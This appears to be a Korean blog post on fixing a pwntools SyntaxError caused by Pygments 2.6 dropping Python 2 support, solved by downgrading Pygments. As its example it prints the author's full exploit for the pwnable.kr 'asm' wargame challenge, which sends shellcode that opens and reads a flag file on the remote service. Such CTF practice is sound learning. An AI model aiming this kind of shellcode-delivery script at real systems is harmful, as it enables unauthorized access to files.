[pwntools] Syntax error: invalid syntax 뜰 때

두비니

·

2020. 7. 19. 19:58

 

 

 

보통 Syntax Error라고 하면 내가 정말 코딩을 잘못한 것이다.

근데 문제는 아무리 생각해도 내가 잘못 짠 부분이 없다는거..

다음은 내가 pwnable.kr에서 asm이라는 문제를 풀면서 작성한 exploit코드이다.

 

from pwn import *

context(arch='amd64', os='linux')

p = remote('pwnable.kr', 9026)
print p.recvuntil("challenge :)")
print p.recvuntil("shellcode: ")

filename = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"

shellcode = shellcraft.open(filename)
shellcode = shellcode + shellcraft.read('rax', 'rsp', 100)
shellcode = shellcode + shellcraft.write( 1, 'rsp', 100)
shellcode = shellcode + shellcraft.exit()

p.sendline(asm(shellcode))
print p.recv()
p.interactive()

 

보면 알수있지만 전혀 잘못한 게 없다.

 

 

근데 돌리면 이런 에러가 나온다.....

 

...(생략)
pygments/formatters/html.py", line 554 file=sys.stderr) 
SyntaxError: invalid syntax

특히 마지막에 이런 에러가 뜨면서 프로그램이 죽는다면 100%다.

 

이건 pwntools가 사용하는 Pygments 패키지가 2.6 버전부터 python2 지원을 중단하면서 발생한 문제다.

그래서 Pygments를 다운그레이드시키고 다시 Pwntools를 다운받으면 된다.

 

sudo pip uninstall pwntools 
sudo pip install 'pygments==2.5.1'
sudo pip install pwntools

 

 

그러면 성공적으로 프로그램이 돌아갈 것이다.

끝!